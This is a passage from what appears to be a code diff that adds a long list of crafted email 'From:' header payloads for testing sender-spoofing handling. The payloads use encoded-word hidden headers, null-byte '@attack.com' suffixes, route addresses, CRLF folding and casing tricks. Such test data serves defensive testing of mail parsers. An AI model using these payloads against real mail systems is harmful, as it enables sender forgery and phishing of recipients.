<=?utf-8?RnJvbTphdHRhY2tlckAxNjMuY29tDQo==?=>", + "From: webmaster@sina.cn,Mike@163.com\r\n", + "From: <=?utf-8?RnJvbTpzZWN1cml0eUBjaGluYS5jb20sLA0K=?=>", + "From:<@a.com:@b.com:attacker@139.com>\r\n", + "From:Mike@gmail.com,admin@gmail.com,key@qq.com,hr@qq.com,hr@msn.com,key@foxmail.com,admin@qq.com,webmaster@top.com,word<@qq.com:@163.com:Mike@sohu.com>,word<@a.com:@b.com:key@icloud.com>(comm\r\nent)\r\n", + "From: (\r\n),key@qq.com,\r\n", + "From: <=?utf-8?RnJvbTosa2V5QDEzOS5jb20sYWRtaW5AZm94bWFpbC5jb20sd29yZC48QGdtYWlsLmNvbTpAYi5jb206YXR0YWNrZXJAc2luYS5jb20+LCwNCg===?=>\u0000@attack.com", + "From :hr@aliyun.com\r\n", + "From: \r\nFrom:(),(comm\r\nent),(comm\r\nent),(comment)\r\n", + " FrOM: \r\nFrom:attacker@sina.com,word<@qq.com:@163.com:Alice@top.com>(hi)\r\n", + "From: <=?utf-8?RnJvbTosLGtleUBmb3htYWlsLmNvbQ0K=?=>", + " From: \r\nFrom:hr@aliyun.com\r\n", + " Fromÿ: \r\nFrom:,webmaster@sina.cn,,,(\r\n)\r\n", + "From: <=?utf-8?RnJvbTp3b3JkPEBnbWFpbC5jb206QGIuY29tOnNlY3VyaXR5QHNpbmEuY24+LHdlYm1hc3RlckBmb3htYWlsLmNvbSxzZWN1cml0eUBzaW5hLmNvbSx3b3JkPEBhLmNvbTpAYi5jb206YXR0YWNrZXJAb3V0bG9vay5jb20+LDxAcXEuY29tOkAxNjMuY29tOnNlY3VyaXR5QHltYWlsLmNvbS5jbj4NCg===?=>\u0000@attack.com", + "From:wordwordwordword(comment)<@a.com:@b.com:Bob@hotmail.com>(\r\n)\r\n", + "From: <=?utf-8?RnJvbTphZG1pbkBzb2h1LmNvbQ0K=?=>\u0000@attack.com", + " FrOM: \r\nFrom:(hi),admin@msn.com\r\n", + " FrOM: \r\nFrom:hr@foxmail.com\r\n", + " Fromÿ: \r\nFrom:(hi),admin@msn.com\r\n", + " From:security@sina.com\r\n", + "From:(comm\r\nent),Bob@qq.com,admin@top.com,\r\n", + " Fromÿ: \r\nFrom:<@gmail.com:@b.com:key@top.com>\r\n", + " From:webmaster@sina.cn,Mike@163.com\r\n", + " From:(\r\n)<@gmail.com:@b.com:attacker@foxmail.com>()\r\n", + "From:attacker@sina.com,word<@qq.com:@163.com:Alice@top.com>(hi)\r\n", + "From: \r\nFrom:Alice@msn.com,\r\n", + "From:,webmaster@sina.cn,,,(\r\n)\r\n", + " FrOM: \r\nFrom:admin@ymail.com,<@gmail.com:@b.com:webmaster@msn.com>(comment)\r\n", + " FrOM: \r\nFrom:webmaster@139.com\r\n", + " FrOM: \r\nFrom:(comment)<@a.com:@b.com:Bob@139.com>\r\n", + "From:", + " Fromÿ: \r\nFrom:Alice@aliyun.com\r\n", + "From :<@a.com:@b.com:security@qq.com>\r\n", + " Fromÿ: \r\nFrom:webmaster@sina.com,Mike@ymail.com.cn\r\n", + "From: \r\nFrom:admin@live.com\r\n", + " FrOM: \r\nFrom:Alice@outlook.com\r\n", + "From :Alice@qq.com,word.,security@sina.cn,security@126.com,word(comment)\r\n", + " FrOM: \r\nFrom:Bob@aliyun.com,(),,,word\r\n", + " From: \r\nFrom:admin@icloud.com\r\n", + "From: <=?utf-8?RnJvbTpBbGljZUBxcS5jb20sd29yZC48a2V5QGNoaW5hLmNvbT4sc2VjdXJpdHlAc2luYS5jbixzZWN1cml0eUAxMjYuY29tLHdvcmQoY29tbWVudCk8YWRtaW5AY2hpbmEuY29tPg0K=?=>\u0000@attack.com", + "From: <=?utf-8?RnJvbTooY29tbWVudCksKGhpKSxhdHRhY2tlckBvdXRsb29rLmNvbSwoKSxrZXlAMTYzLmNvbQ0K=?=>", + "From: \r\nFrom:word(comm\r\nent)\r\n", + "From: key@icloud.com,wordwordword(\r\n),(comment)(hi)\r\n", + " FrOM: \r\nFrom:wordword(comment)<@gmail.com:@b.com:webmaster@ymail.com.cn>\r\n", + " Fromÿ: \r\nFrom:word(\r\n)(\r\n)\r\n", + "From: <=?utf-8?RnJvbTprZXlAbGl2ZS5jb20NCg===?=>", + "From: <=?utf-8?RnJvbTooY29tbWVudCk8QWxpY2VAMTM5LmNvbT4sd29yZDxAcXEuY29tOkAxNjMuY29tOnNlY3VyaXR5QG1zbi5jb20+KGNvbW0NCmVudCksaHJAMTM5LmNvbQ0K=?=>", + " From:(comment)<@a.com:@b.com:Bob@139.com>\r\n", + " FrOM: \r\nFrom:security@china.com,,\r\n", + "From: word<@gmail.com:@b.com:security@sina.cn>,webmaster@foxmail.com,security@sina.com,word<@a.com:@b.com:attacker@outlook.com>,<@qq.com:@163.com:security@ymail.com.cn>\r\n", + "From :,,(comm\r\nent),(),(),,wordwordword,,hr@live.com\r\n", + "From: <=?utf-8?RnJvbTp3b3Jkd29yZDxAZ21haWwuY29tOkBiLmNvbTpockBzb2h1LmNvbT4oY29tbWVudCkNCg===?=>", + "From:word(hi)<@gmail.com:@b.com:Bob@163.com>(hi)\r\n", + " FrOM: \r\nFrom:,,,\r\n", + "From: <=?utf-8?RnJvbTosKGNvbW0NCmVudCksc2VjdXJpdHlAZm94bWFpbC5jb20sLGhyQHNpbmEuY24sKGNvbW0NCmVudCkNCg===?=>", + "From: <=?utf-8?RnJvbTp3b3Jkd29yZDxAcXEuY29tOkAxNjMuY29tOmFkbWluQGhvdG1haWwuY29tPixhZG1pbkBzb2h1LmNvbSw8Qm9iQGNoaW5hLmNvbT4NCg===?=>", + "From: \r\nFrom:Mike@msn.com,hr@top.com,webmaster@hotmail.com\r\n", + " Fromÿ: \r\nFrom:,(hi)<@a.com:@b.com:Bob@sohu.com>,\r\n", + "From: security@sina.com\r\n", + "From: \r\nFrom:(comment)<@a.com:@b.com:Bob@139.com>\r\n", + "From: \r\nFrom:Bob@sohu.com,security@sohu.com\r\n", + "From: <=?utf-8?RnJvbTpCb2JAYWxpeXVuLmNvbSwoKSwsLHdvcmQ8YXR0YWNrZXJAZm94bWFpbC5jb20+DQo==?=>\u0000@attack.com", + " From:word(\r\n)()\r\n", + "From: \r\nFrom:,<@a.com:@b.com:Alice@sina.cn>\r\n", + "From: \r\nFrom:,(hi),(\r\n)\r\n", + " From: \r\nFrom:<@qq.com:@163.com:Alice@sohu.com>\r\n", + "From: <=?utf-8?RnJvbTpockBnbWFpbC5jb20NCg===?=>\u0000@attack.com", + "From:,hr@126.com,(hi)\r\n", + "From:admin@139.com,(comm\r\nent)(comment)\r\n", + "From :Bob@china.com,<@qq.com:@163.com:Bob@qq.com>\r\n", + " From:()\r\n", + "From:hr@aliyun.com\r\n", + " FrOM: \r\nFrom:key@top.com,word(comm\r\nent)word(\r\n)<@gmail.com:@b.com:Mike@hotmail.com>(comment)\r\n", + " From: \r\nFrom:admin@china.com,,,\r\n", + "From :,attacker@hotmail.com\r\n", + "From: (comm\r\nent),wordword(hi),word(hi),wordwordword()<@qq.com:@163.com:security@aliyun.com>(comm\r\nent)\r\n", + "From: <=?utf-8?RnJvbTpzZWN1cml0eUBjaGluYS5jb20sLA0K=?=>\u0000@attack.com", + " FrOM: \r\nFrom:wordword(hi)<@gmail.com:@b.com:admin@hotmail.com>,\r\n", + " Fromÿ: \r\nFrom:,<@gmail.com:@b.com:admin@china.com>,(hi)<@gmail.com:@b.com:attacker@msn.com>,(hi),,(),\r\n", + " Fromÿ: \r\nFrom:wordword<@qq.com:@163.com:Mike@ymail.com.cn>,attacker@ymail.com.cn\r\n", + " From:(\r\n),wordword(\r\n)(\r\n),\r\n", + " From:word<@gmail.com:@b.com:webmaster@msn.com>,<@a.com:@b.com:key@foxmail.com>,\r\n", + " From:(),Mike@139.com,\r\n", + " From:(),<@a.com:@b.com:webmaster@139.com>(comm\r\nent),,\r\n", + "From: \r\nFrom:webmaster@gmail.com\r\n", + " From:key@hotmail.com\r\n", + "From: wordword(hi).(\r\n)(comment),wordwordwordword(hi)(comm\r\nent),webmaster@qq.com,attacker@aliyun.com,hr@hotmail.com\r\n", + " Fromÿ: \r\nFrom:word(comm\r\nent)\r\n", + "From:,,key@foxmail.com\r\n", + "From: attacker@sina.com,word<@qq.com:@163.com:Alice@top.com>(hi)\r\n", + "From: <=?utf-8?RnJvbTp3b3JkKGNvbW1lbnQpd29yZDxzZWN1cml0eUBnbWFpbC5jb20+LHdvcmR3b3Jkd29yZHdvcmR3b3Jkd29yZHdvcmR3b3JkPGF0dGFja2VyQHFxLmNvbT4oY29tbQ0KZW50KSxhZG1pbkAxMzkuY29tLHdlYm1hc3RlckAxMjYuY29tLHdvcmQ8QHFxLmNvbTpAMTYzLmNvbTpCb2JAZm94bWFpbC5jb20+KGNvbW0NCmVudCkNCg===?=>", + " From:webmaster@gmail.com\r\n", + "From: word(hi),word<@a.com:@b.com:Mike@icloud.com>\r\n", + " FrOM: \r\nFrom:(\r\n),key@qq.com,\r\n", + " From:admin@live.com,(\r\n)\r\n", + "From: <=?utf-8?RnJvbTp3b3Jkd29yZChoaSkuKA0KKShjb21tZW50KTxzZWN1cml0eUB5bWFpbC5jb20uY24+LHdvcmR3b3Jkd29yZHdvcmQoaGkpPHNlY3VyaXR5QDEyNi5jb20+KGNvbW0NCmVudCksd2VibWFzdGVyQHFxLmNvbSxhdHRhY2tlckBhbGl5dW4uY29tLGhyQGhvdG1haWwuY29tDQo==?=>", + "From: <=?utf-8?RnJvbTp3b3JkKGhpKTxAZ21haWwuY29tOkBiLmNvbTpCb2JAMTYzLmNvbT4oaGkpDQo==?=>\u0000@attack.com", + "From: <=?utf-8?RnJvbTprZXlAMTI2LmNvbSx3b3JkKCk8QGdtYWlsLmNvbTpAYi5jb206YWRtaW5Ac2luYS5jb20+DQo==?=>\u0000@attack.com", + "From :wordword.word.()word.<@a.com:@b.com:admin@icloud.com>\r\n", + "From:wordwordword(comment)\r\n", + "From: <=?utf-8?RnJvbTp3b3JkKGNvbW0NCmVudCk8QWxpY2VAYWxpeXVuLmNvbT4NCg===?=>", + " FrOM: \r\nFrom:hr@ymail.com.cn\r\n", + "From: <=?utf-8?RnJvbTosQWxpY2VAY2hpbmEuY29tDQo==?=>", + "From:key@icloud.com,wordwordword(\r\n),(comment)(hi)\r\n", + "From: <=?utf-8?RnJvbTprZXlAdG9wLmNvbSx3b3JkKGNvbW0NCmVudCl3b3JkKA0KKTxAZ21haWwuY29tOkBiLmNvbTpNaWtlQGhvdG1haWwuY29tPihjb21tZW50KQ0K=?=>", + "From: \r\nFrom:,,,word(\r\n)\r\n", + "From: <=?utf-8?RnJvbTp3b3Jkd29yZHdvcmR3b3JkKGNvbW1lbnQpPEBhLmNvbTpAYi5jb206Qm9iQGhvdG1haWwuY29tPigNCikNCg===?=>", + " FrOM: \r\nFrom:webmaster@qq.com,()\r\n", + " From:webmaster@foxmail.com,(comm\r\nent),attacker@sina.cn,\r\n", + "From: <=?utf-8?RnJvbTprZXlAaG90bWFpbC5jb20NCg===?=>", + " FrOM: \r\nFrom:(comm\r\nent)(hi),key@msn.com\r\n", + "From: <=?utf-8?RnJvbTooKSx3ZWJtYXN0ZXJAc2luYS5jbiwNCg===?=>", + "From: \r\nFrom:wordword<@gmail.com:@b.com:hr@sohu.com>(comment)\r\n", + " From: \r\nFrom:Bob@126.com\r\n", + "From: \r\nFrom:Bob@msn.com,Mike@126.com,word(comment),word<@qq.com:@163.com:Alice@outlook.com>(comm\r\nent)\r\n", + "From: (),<@a.com:@b.com:webmaster@139.com>(comm\r\nent),,\r\n", + "From: \r\nFrom:(comm\r\nent),wordword(hi),word(hi),wordwordword()<@qq.com:@163.com:security@aliyun.com>(comm\r\nent)\r\n", + " From:,(hi),(\r\n)\r\n", + " Fromÿ: \r\nFrom:wordword<@gmail.com:@b.com:hr@sohu.com>(comment)\r\n", + " From:,(\r\n),Mike@china.com,word(comm\r\nent),\r\n", + " Fromÿ: \r\nFrom:Alice@live.com\r\n", + "From: <=?utf-8?RnJvbTpCb2JAdG9wLmNvbSx3b3JkPEBnbWFpbC5jb206QGIuY29tOkJvYkBvdXRsb29rLmNvbT4oKQ0K=?=>", + "From :(comm\r\nent),(\r\n),(\r\n),,wordword<@qq.com:@163.com:Bob@hotmail.com>()\r\n", + "From: <@a.com:@b.com:attacker@139.com>\r\n", + " From:word(hi)(comm\r\nent)\r\n", + " From:(comm\r\nent),wordword(hi),word(hi),wordwordword()<@qq.com:@163.com:security@aliyun.com>(comm\r\nent)\r\n", + "From: \r\nFrom:hr@gmail.com\r\n", + " From: \r\nFrom:hr@sohu.com\r\n", + " From: \r\nFrom:admin@china.com\r\n", + "From: <=?utf-8?RnJvbTooY29tbWVudCksTWlrZUBxcS5jb20sKCk8YWRtaW5Ac2luYS5jb20+KGhpKQ0K=?=>", + "From: <=?utf-8?RnJvbTphZG1pbkB5bWFpbC5jb20sd29yZChoaSk8Qm9iQGdtYWlsLmNvbT4oKSw8QHFxLmNvbTpAMTYzLmNvbTpzZWN1cml0eUBob3RtYWlsLmNvbT4sQWxpY2VAZm94bWFpbC5jb20sPEBhLmNvbTpAYi5jb206YXR0YWNrZXJAaG90bWFpbC5jb20+KA0KKQ0K=?=>", + " FrOM: \r\nFrom:(hi),(comm\r\nent),word().(\r\n)\r\n", + "From :security@126.com\r\n", + " Fromÿ: \r\nFrom:key@msn.com,attacker@163.com,word.()(comm\r\nent)()<@qq.com:@163.com:Mike@sina.cn>(comm\r\nent),wordword(comment)<@qq.com:@163.com:security@sohu.com>(\r\n),word(comm\r\nent),word\r\n", + "From :hr@icloud.com,(comm\r\nent)<@qq.com:@163.com:Alice@outlook.com>,(comment),,(\r\n),word<@gmail.com:@b.com:hr@sina.cn>(),\r\n", + "From: (comm\r\nent)<@gmail.com:@b.com:Mike@163.com>(hi)\r\n", + " From: \r\nFrom:(),Bob@qq.com\r\n", + "From: key@sohu.com\r\n", + "From: \r\nFrom:(comment),()<@gmail.com:@b.com:Bob@icloud.com>,,<@qq.com:@163.com:Alice@ymail.com.cn>,(hi),(comment)\r\n", + " From:,Alice@top.com\r\n", + "From: <=?utf-8?RnJvbTosPEBnbWFpbC5jb206QGIuY29tOmFkbWluQGNoaW5hLmNvbT4sKGhpKTxAZ21haWwuY29tOkBiLmNvbTphdHRhY2tlckBtc24uY29tPiwoaGkpLCwoKSwNCg===?=>\u0000@attack.com", + " From:Mike@icloud.com,admin@aliyun.com,hr@sina.com,Bob@163.com,wordwordwordword<@qq.com:@163.com:security@163.com>,word(comment)<@gmail.com:@b.com:security@139.com>\r\n", + " FrOM: \r\nFrom:webmaster@126.com\r\n", + "From: <=?utf-8?RnJvbTosc2VjdXJpdHlAY2hpbmEuY29tDQo==?=>", + " Fromÿ: \r\nFrom:()\r\n", + "From: \r\nFrom:attacker@ymail.com.cn\r\n", + "From:<@qq.com:@163.com:attacker@live.com>(comment)\r\n", + " From: \r\nFrom:,webmaster@foxmail.com\r\n", + "From: \r\nFrom:word<@gmail.com:@b.com:webmaster@msn.com>,<@a.com:@b.com:key@foxmail.com>,\r\n", + " From: \r\nFrom:(comm\r\nent)<@gmail.com:@b.com:security@163.com>\r\n", + "From: <=?utf-8?RnJvbTpNaWtlQG1zbi5jb20saHJAdG9wLmNvbSx3ZWJtYXN0ZXJAaG90bWFpbC5jb20NCg===?=>", + " FrOM: \r\nFrom:wordword<@qq.com:@163.com:admin@hotmail.com>,admin@sohu.com,\r\n", + "From: <=?utf-8?RnJvbTp3b3JkPGtleUAxMjYuY29tPihoaSksd29yZDxAYS5jb206QGIuY29tOk1pa2VAaWNsb3VkLmNvbT4NCg===?=>", + " Fromÿ: \r\nFrom:hr@foxmail.com\r\n", + "From :word(),wordword(hi)\r\n", + " FrOM: \r\nFrom:key@ymail.com.cn\r\n", + " From: \r\nFrom:webmaster@gmail.com,key@126.com\r\n", + " From:word<@qq.com:@163.com:admin@gmail.com>(\r\n)\r\n", + "From: <=?utf-8?RnJvbTooDQopLHdvcmR3b3JkKA0KKTxockAxMzkuY29tPigNCiksDQo==?=>", + "From :word(comment)word,wordwordwordwordwordwordwordword(comm\r\nent),admin@139.com,webmaster@126.com,word<@qq.com:@163.com:Bob@foxmail.com>(comm\r\nent)\r\n", + "From: \r\nFrom:wordword<@qq.com:@163.com:Mike@ymail.com.cn>,attacker@ymail.com.cn\r\n", + "From: <=?utf-8?RnJvbTooY29tbWVudCksKGhpKSxhdHRhY2tlckBvdXRsb29rLmNvbSwoKSxrZXlAMTYzLmNvbQ0K=?=>\u0000@attack.com", + " From:wordword<@a.com:@b.com:Mike@icloud.com>(),word(comment),security@msn.com,word\r\n", + " Fromÿ: \r\nFrom:wordword<@a.com:@b.com:Mike@icloud.com>(),word(comment),security@msn.com,word\r\n", + " From:key@msn.com\r\n", + " From: \r\nFrom:,webmaster@ymail.com\r\n", + " FrOM: \r\nFrom:key@msn.com,attacker@163.com,word.()(comm\r\nent)()<@qq.com:@163.com:Mike@sina.cn>(comm\r\nent),wordword(comment)<@qq.com:@163.com:security@sohu.com>(\r\n),word(comm\r\nent),word\r\n", + "From :(),(hi)<@a.com:@b.com:Alice@live.com>(hi),\r\n", + "From :word(hi),word<@a.com:@b.com:Mike@icloud.com>\r\n", + "From: \r\nFrom:<@gmail.com:@b.com:Alice@sina.com>,(hi)(hi)\r\n", + "From:word<@qq.com:@163.com:key@126.com>\r\n", + " From: \r\nFrom:(hi)(comment),attacker@qq.com,(),webmaster@sina.com\r\n", + " Fromÿ: \r\nFrom:()<@gmail.com:@b.com:Mike@live.com>\r\n", + "From :(comm\r\nent)<@gmail.com:@b.com:security@163.com>\r\n", + "From :(),Bob@qq.com\r\n", + " Fromÿ: \r\nFrom:admin@china.com\r\n", + "From: <=?utf-8?RnJvbTphdHRhY2tlckB5bWFpbC5jb20uY24NCg===?=>\u0000@attack.com", + "From: <=?utf-8?RnJvbTprZXlAaG90bWFpbC5jb20NCg===?=>\u0000@attack.com", + "From: attacker@ymail.com.cn\r\n", + " FrOM: \r\nFrom:security@ymail.com.cn,security@qq.com,wordword<@gmail.com:@b.com:webmaster@ymail.com.cn>\r\n", + "From: \r\nFrom:(),<@a.com:@b.com:webmaster@139.com>(comm\r\nent),,\r\n", + "From: \r\nFrom:(comm\r\nent),attacker@163.com\r\n", + " From: \r\nFrom:word(hi),word<@a.com:@b.com:Mike@icloud.com>\r\n", + " From: \r\nFrom:(comment),word(comm\r\nent),(),(\r\n)\r\n", + "From: <=?utf-8?RnJvbTooKTxAYS5jb206QGIuY29tOnNlY3VyaXR5QHltYWlsLmNvbT4oY29tbQ0KZW50KQ0K=?=>", + "From: <=?utf-8?RnJvbTpockBmb3htYWlsLmNvbQ0K=?=>", + "From :(comment),(),webmaster@hotmail.com\r\n", + " Fromÿ: \r\nFrom:webmaster@qq.com,()\r\n", + " Fromÿ: \r\nFrom:(comm\r\nent),wordwordword(comm\r\nent)(\r\n),admin@foxmail.com,webmaster@139.com,security@gmail.com\r\n", + "From: <=?utf-8?RnJvbTphdHRhY2tlckBvdXRsb29rLmNvbQ0K=?=>\u0000@attack.com", + " FrOM: \r\nFrom:word(comment)(comment)\r\n", + "From :Mike@icloud.com,admin@aliyun.com,hr@sina.com,Bob@163.com,wordwordwordword<@qq.com:@163.com:security@163.com>,word(comment)<@gmail.com:@b.com:security@139.com>\r\n", + " From: \r\nFrom:Bob@sohu.com,security@sohu.com\r\n", + " From: \r\nFrom:attacker@gmail.com,(comm\r\nent)(comment),key@gmail.com\r\n", + "From: \r\nFrom:Mike@163.com,(comm\r\nent)\r\n", + " FrOM: \r\nFrom:(comm\r\nent),wordwordword(comm\r\nent)(\r\n),admin@foxmail.com,webmaster@139.com,security@gmail.com\r\n", + " FrOM: \r\nFrom:,webmaster@sina.cn,,,(\r\n)\r\n", + " From:,(\r\n),(),Bob@139.com,,,(\r\n)\r\n", + "From: <=?utf-8?RnJvbTp3b3JkKGNvbW0NCmVudCk8QWxpY2VAYWxpeXVuLmNvbT4NCg===?=>\u0000@attack.com", + " FrOM: \r\nFrom:Bob@msn.com,Mike@126.com,word(comment),word<@qq.com:@163.com:Alice@outlook.com>(comm\r\nent)\r\n", + " Fromÿ: \r\nFrom:admin@live.com\r\n", + "From :(comment)<@gmail.com:@b.com:Alice@gmail.com>(\r\n)\r\n", + "From:,webmaster@ymail.com\r\n", + " From:hr@foxmail.com\r\n", + " From:,word(\r\n),,(),key@ymail.com.cn,()\r\n", + " FrOM: \r\nFrom:attacker@outlook.com\r\n", + "From: <=?utf-8?RnJvbTp3b3JkKGhpKShjb21tDQplbnQpPHdlYm1hc3RlckBtc24uY29tPg0K=?=>\u0000@attack.com", + "From :<@a.com:@b.com:Bob@163.com>(hi)\r\n", + "From: <=?utf-8?RnJvbTp3b3JkPEBhLmNvbTpAYi5jb206YWRtaW5AaWNsb3VkLmNvbT4sKA0KKTxAYS5jb206QGIuY29tOkFsaWNlQGdtYWlsLmNvbT4sKGhpKTxAcXEuY29tOkAxNjMuY29tOmtleUBzb2h1LmNvbT4sd29yZCgNCik8YXR0YWNrZXJAZ21haWwuY29tPihoaSksc2VjdXJpdHlAYWxpeXVuLmNvbSx3ZWJtYXN0ZXJAMTI2LmNvbQ0K=?=>", + "From: <=?utf-8?RnJvbTooY29tbWVudCk8QGdtYWlsLmNvbTpAYi5jb206QWxpY2VAZ21haWwuY29tPigNCikNCg===?=>\u0000@attack.com", + " Fromÿ: \r\nFrom:webmaster@sina.cn,Mike@163.com\r\n", + " From:word.()(),<@gmail.com:@b.com:key@msn.com>(comm\r\nent),word(\r\n),\r\n", + "From: <=?utf-8?RnJvbTooY29tbWVudCksKCksd2VibWFzdGVyQGhvdG1haWwuY29tDQo==?=>", + "From: \r\nFrom:key@live.com\r\n", + "From: <=?utf-8?RnJvbTp3b3JkKGNvbW1lbnQpPGtleUBpY2xvdWQuY29tPiw8QHFxLmNvbTpAMTYzLmNvbTpCb2JAeW1haWwuY29tLmNuPg0K=?=>", + "From: <=?utf-8?RnJvbTooY29tbWVudCksKCksd2VibWFzdGVyQGhvdG1haWwuY29tDQo==?=>\u0000@attack.com", + "From :,<@a.com:@b.com:Alice@sina.cn>\r\n", + "From: <=?utf-8?RnJvbTpBbGljZUBvdXRsb29rLmNvbSx3b3JkPGF0dGFja2VyQDE2My5jb20+DQo==?=>", + " From: \r\nFrom:<@qq.com:@163.com:Mike@163.com>\r\n", + " From: \r\nFrom:word.()(),<@gmail.com:@b.com:key@msn.com>(comm\r\nent),word(\r\n),\r\n", + " Fromÿ: \r\nFrom:Bob@aliyun.com,(),,,word\r\n", + " From: \r\nFrom:key@live.com\r\n", + "From:word(comment)<@a.com:@b.com:key@126.com>,word.(\r\n),word()(comment),,(comment)\r\n", + " FrOM: \r\nFrom:,,(comm\r\nent),(),(),,wordwordword,,hr@live.com\r\n", + "From:<@a.com:@b.com:security@qq.com>\r\n", + " FrOM: \r\nFrom:,(hi)<@a.com:@b.com:Bob@sohu.com>,\r\n", + "From: <=?utf-8?RnJvbTp3b3Jkd29yZChjb21tDQplbnQpPEBhLmNvbTpAYi5jb206QWxpY2VAc29odS5jb20+LHdvcmQoY29tbQ0KZW50KTxAcXEuY29tOkAxNjMuY29tOkFsaWNlQHltYWlsLmNvbS5jbj4oY29tbWVudCksQm9iQHNpbmEuY24sa2V5QDE2My5jb20sd2VibWFzdGVyQHRvcC5jb20NCg===?=>", + " From:(comm\r\nent)\r\n", + "From: <=?utf-8?RnJvbTphdHRhY2tlckBnbWFpbC5jb20sKGNvbW0NCmVudCk8Qm9iQGZveG1haWwuY29tPihjb21tZW50KSxrZXlAZ21haWwuY29tDQo==?=>", + "From: <=?utf-8?RnJvbTpockBmb3htYWlsLmNvbSwsDQo==?=>\u0000@attack.com", + "From: <=?utf-8?RnJvbTooY29tbWVudCksTWlrZUBxcS5jb20sKCk8YWRtaW5Ac2luYS5jb20+KGhpKQ0K=?=>\u0000@attack.com", + "From: \r\nFrom:(comm\r\nent),(\r\n),(\r\n),,wordword<@qq.com:@163.com:Bob@hotmail.com>()\r\n", + "From: \r\nFrom:,,Alice@msn.com,,()\r\n", + " From: \r\nFrom:(comment),()<@gmail.com:@b.com:Bob@icloud.com>,,<@qq.com:@163.com:Alice@ymail.com.cn>,(hi),(comment)\r\n", + "From: \r\nFrom:security@163.com\r\n", + " Fromÿ: \r\nFrom:attacker@gmail.com,(comm\r\nent)(comment),key@gmail.com\r\n", + " FrOM: \r\nFrom:word(comment)<@gmail.com:@b.com:hr@qq.com>(\r\n)\r\n", + "From: key@live.com\r\n", + "From:(comm\r\nent),,(),(hi),,,key@hotmail.com,\r\n", + "From: <=?utf-8?RnJvbTosQWxpY2VAdG9wLmNvbQ0K=?=>", + "From:security@126.com\r\n", + " FrOM: \r\nFrom:hr@126.com\r\n", + "From :word(hi)<@gmail.com:@b.com:Bob@163.com>(hi)\r\n", + " From: \r\nFrom:(comm\r\nent),wordwordword(comm\r\nent)(\r\n),admin@foxmail.com,webmaster@139.com,security@gmail.com\r\n", + "From :(\r\n)<@gmail.com:@b.com:attacker@foxmail.com>()\r\n", + " From: \r\nFrom:,(hi),(\r\n)\r\n", + "From :(),<@a.com:@b.com:webmaster@139.com>(comm\r\nent),,\r\n", + "From: <=?utf-8?RnJvbTp3ZWJtYXN0ZXJAZm94bWFpbC5jb20sKGNvbW0NCmVudCksYXR0YWNrZXJAc2luYS5jbiwNCg===?=>", + " FrOM: \r\nFrom:(comm\r\nent)(hi)\r\n", + " Fromÿ: \r\nFrom:(comment),(hi),attacker@outlook.com,(),key@163.com\r\n", + " FrOM: \r\nFrom:webmaster@sina.cn,Mike@163.com\r\n", + "From: word()<@qq.com:@163.com:Alice@sina.cn>(\r\n)\r\n", + "From:,attacker@sina.com,(hi)\r\n", + "From: \r\nFrom:<@gmail.com:@b.com:key@top.com>\r\n", + "From :,,(comment),webmaster@sina.cn,(hi)\r\n", + "From: \r\nFrom:Bob@139.com\r\n", + "From :(hi),(comm\r\nent),word().(\r\n)\r\n", + " FrOM: \r\nFrom:,webmaster@ymail.com\r\n", + "From: \r\nFrom:(hi)\r\n", + "From: \r\nFrom:()\r\n", + " From:key@live.com\r\n", + " From:webmaster@ymail.com,<@qq.com:@163.com:key@china.com>\r\n", + "From :hr@foxmail.com,,\r\n", + " From: \r\nFrom:(comm\r\nent)<@gmail.com:@b.com:Mike@163.com>(hi)\r\n", + " From: \r\nFrom:attacker@sohu.com,webmaster@foxmail.com\r\n", + "From :admin@ymail.com,word(hi)(),<@qq.com:@163.com:security@hotmail.com>,Alice@foxmail.com,<@a.com:@b.com:attacker@hotmail.com>(\r\n)\r\n", + " From: \r\nFrom:word(comment)<@a.com:@b.com:key@126.com>,word.(\r\n),word()(comment),,(comment)\r\n", + "From: <=?utf-8?RnJvbTp3b3Jkd29yZHdvcmR3b3Jkd29yZDxAZ21haWwuY29tOkBiLmNvbTpBbGljZUAxMjYuY29tPihoaSkNCg===?=>\u0000@attack.com", + "From: <=?utf-8?RnJvbTp3b3Jkd29yZCgpLjxockBjaGluYS5jb20+KGhpKQ0K=?=>", + "From:(\r\n),wordword(\r\n)(\r\n),\r\n", + " From:admin@ymail.com,word(hi)(),<@qq.com:@163.com:security@hotmail.com>,Alice@foxmail.com,<@a.com:@b.com:attacker@hotmail.com>(\r\n)\r\n", + "From: <=?utf-8?RnJvbTpNaWtlQGZveG1haWwuY29tDQo==?=>", + "From: admin@sina.com,(comment),\r\n", + "From: ()\r\n", + "From:admin@ymail.com,word(hi)(),<@qq.com:@163.com:security@hotmail.com>,Alice@foxmail.com,<@a.com:@b.com:attacker@hotmail.com>(\r\n)\r\n", + "From: ,(comment)<@gmail.com:@b.com:security@outlook.com>\r\n", + "From:word<@qq.com:@163.com:admin@gmail.com>(\r\n)\r\n", + "From: <=?utf-8?RnJvbTosKGhpKTxzZWN1cml0eUBpY2xvdWQuY29tPiwoDQopDQo==?=>", + " Fromÿ: \r\nFrom:,webmaster@ymail.com\r\n", + " FrOM: \r\nFrom:,security@china.com\r\n", + "From: (),Bob@qq.com\r\n", + " From:Bob@top.com,word<@gmail.com:@b.com:Bob@outlook.com>()\r\n", + " From:key@msn.com,attacker@163.com,word.()(comm\r\nent)()<@qq.com:@163.com:Mike@sina.cn>(comm\r\nent),wordword(comment)<@qq.com:@163.com:security@sohu.com>(\r\n),word(comm\r\nent),word\r\n", + " FrOM: \r\nFrom:,Mike@icloud.com\r\n", + " Fromÿ: \r\nFrom:(comment),(),webmaster@hotmail.com\r\n", + "From: <=?utf-8?RnJvbTphZG1pbkBsaXZlLmNvbSwoDQopPHdlYm1hc3RlckBjaGluYS5jb20+DQo==?=>", + "From: <=?utf-8?RnJvbTp3b3JkKGNvbW0NCmVudCk8YWRtaW5AcXEuY29tPg0K=?=>", + " FrOM: \r\nFrom:(hi)(comment),attacker@qq.com,(),webmaster@sina.com\r\n", + " From:(comm\r\nent),Bob@china.com,Bob@qq.com,,,(comment)\r\n", + "From: <=?utf-8?RnJvbTpCb2JAcXEuY29tLHdvcmR3b3Jkd29yZHdvcmQ8QWxpY2VAY2hpbmEuY29tPihoaSkNCg===?=>\u0000@attack.com", + "From: <=?utf-8?RnJvbTpockAxMjYuY29tDQo==?=>\u0000@attack.com", + "From: <@gmail.com:@b.com:key@top.com>\r\n", + " Fromÿ: \r\nFrom:word(\r\n)(\r\n),Mike@qq.com,Alice@163.com,(comm\r\nent)(),key@icloud.com\r\n", + "From: \r\nFrom:wordword\r\n", + " FrOM: \r\nFrom:()(comment)\r\n", + "From: 